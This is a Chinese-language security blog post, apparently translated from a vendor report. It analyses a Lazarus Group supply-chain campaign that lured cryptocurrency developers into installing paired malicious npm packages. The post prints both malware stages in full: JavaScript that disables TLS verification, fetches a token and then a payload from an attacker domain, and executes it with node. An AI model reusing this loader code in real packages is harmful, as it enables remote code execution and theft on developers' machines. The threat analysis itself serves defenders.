大家好,我是紫队安全研究。建议大家把公众号“紫队安全研究”设为星标,否则可能就无法及时看到啦!因为公众号现在只对常读和星标的公众号才能大图推送。操作方法:先点击上面的“紫队安全研究”,然后点击右上角的【...】,然后点击【设为星标】即可。
上个月,我们一直在监控一项高度针对性的活动。自 2023 年 4 月初开始跟踪这个威胁行为者,我们的系统标记了几个可疑的 npm 包。后来,GitHub 证实,这个威胁行为者与 Jade Sleet 和 TraderTraitor(又名臭名昭著的 Lazarus Group)有关,该组织与朝鲜有联系。
关键点:
这是首次发现国家行为者利用开源技术渗透供应链的案例。
此次攻击利用社会工程学作为切入点,使用虚假的开发人员声誉来诱骗受害者使用恶意开源软件包。
恶意代码被分成两个不同的包以避免被发现,攻击者随着时间的推移使用编码技术改进其有效载荷以避免静态检测。
我们预测,由于在开发者生态系统中创建虚假和高信誉度的角色变得容易,针对开发者的社会工程学的使用将会增加。
开发人员的意识是发现这些攻击的关键。
在本报告中,我们将分享与此次攻击相关的新的未发布的 IOC。Checkmarx 供应链客户受到保护,免受这些攻击。
身份和动机
Lazarus Group 至少自 2009 年以来一直活跃,是一个受朝鲜政府支持的黑客组织,是一个孤立且受到严厉制裁的政权。该组织因参与多起备受瞩目且破坏性极强的网络攻击而臭名昭著。其不仅因网络间谍活动而闻名,还因其经济动机而著称,这与他们最近进军区块链和加密货币非常吻合。
多年来,Lazarus Group 展示了其在鱼叉式网络钓鱼活动中的熟练程度,这是一种针对特定个人或组织的欺骗性电子邮件策略。他们的进军区块链和加密货币领域似乎是其长期以来以经济为目的活动的延伸。
攻击流程和 TTP
威胁者通过冒充开发人员和招聘人员来发起攻击链,目标是科技公司的员工,特别是与区块链、加密货币和在线赌博行业相关的个人。攻击者会通过 LinkedIn、Slack 和 Telegram 等平台上的虚假身份账户建立初步联系,并与目标建立融洽关系,通常会将沟通转移到其他平台。
一旦建立联系,攻击者就会邀请目标在 GitHub 存储库上进行协作,其中包含恶意 npm 包依赖项,然后这些依赖项将被用来攻击受害者。这些恶意软件包被设计成成对并按顺序运行,每对恶意软件包都由单独的 NPM 用户帐户发布。
受害者将收到这两个在安装时执行的 npm 包,并作为第一阶段恶意软件,在受害者的机器上下载并执行第二阶段恶意软件。代码如下:
javascript
const os = require("os");
const path = require("path");
var fs = require("fs");
function testsvn(version, projectUrl) {
var request = require("sync-request");
var res = request("GET", projectUrl);
fs.writeFileSync(version, res.getBody());
}
process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
var dir = os.homedir() + "/.svnlook";
if (!fs.existsSync(dir)) {
fs.mkdirSync(dir);
}
testsvn(path.join(dir, '/svntoken'), 'https://cryptopriceoffer.com/checkupdate.php');
第二个包从此文件读取一个令牌,使用此令牌向特定 URL 发出请求,将响应写入另一个文件,并立即将该文件作为 Node.js 脚本执行。
javascript
const os = require("os");
const path = require("path");
var fs = require("fs");
function getsvnroot(domain, entry, token, path) {
const https = require('https');
const querystring = require('querystring');
const options = {
hostname: domain,
port: 443,
path: entry,
method: 'POST',
headers: { 'content-type': 'application/x-www-form-urlencoded' },
};
const req = https.request(options, (resp) => {
let data = "";
resp.on("data", chunk => {
data += chunk;
});
resp.on("end", () => {
fs.writeFileSync(path, data);
const { exec } = require('child_process');
exec('node ' + path, (error, stdout, stderr) => { });
});
});
req.on('error', (e) => {
console.error(e.message);
});
req.write(token);
req.end();
}
process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
var dir = path.join(os.homedir(), ".svnlook");
if (fs.existsSync(dir)) {
const token = fs.readFileSync(path.join(dir, 'svntoken'), { encoding: 'utf8', flag: 'r' });
getsvnroot('cryptopriceoffer.com', '/getupdate.php', token, path.join(dir, 'checksvn.js'));
}
这些规则以及不断更新的威胁检测签名集合可以在我们的(https://github.com/os-scar/yara-signatures) 存储库中找到。
概括
这次活动提醒我们,虽然可以轻松创建、修改和部署软件包,但我们最需要保持警惕的是软件包背后人员的意图和策略。这不仅要识别和消除威胁,还要了解威胁行为者、他们的动机和不断发展的策略。
网络威胁的形势在不断变化,我们只有保持知情、积极主动和谨慎,才能维护我们的数字生态系统的安全。GitHub 迅速采取行动,暂停与该活动相关的 npm 和 GitHub 帐户,并向域名主机提交滥用报告,以删除攻击者使用的 URL。
这篇文章展示了 Lazarus Group 首次利用开源技术渗透供应链的详细过程,提醒开发人员在开源社区中需要保持高度警惕,以避免成为此类攻击的受害者。
欢迎喜欢文章的朋友点赞、转发、赞赏,你的每一次鼓励,都是我继续前进的动力。
原文始发于微信公众号(紫队安全研究):Lazarus Group 首次针对加密货币领域发起开源供应链攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论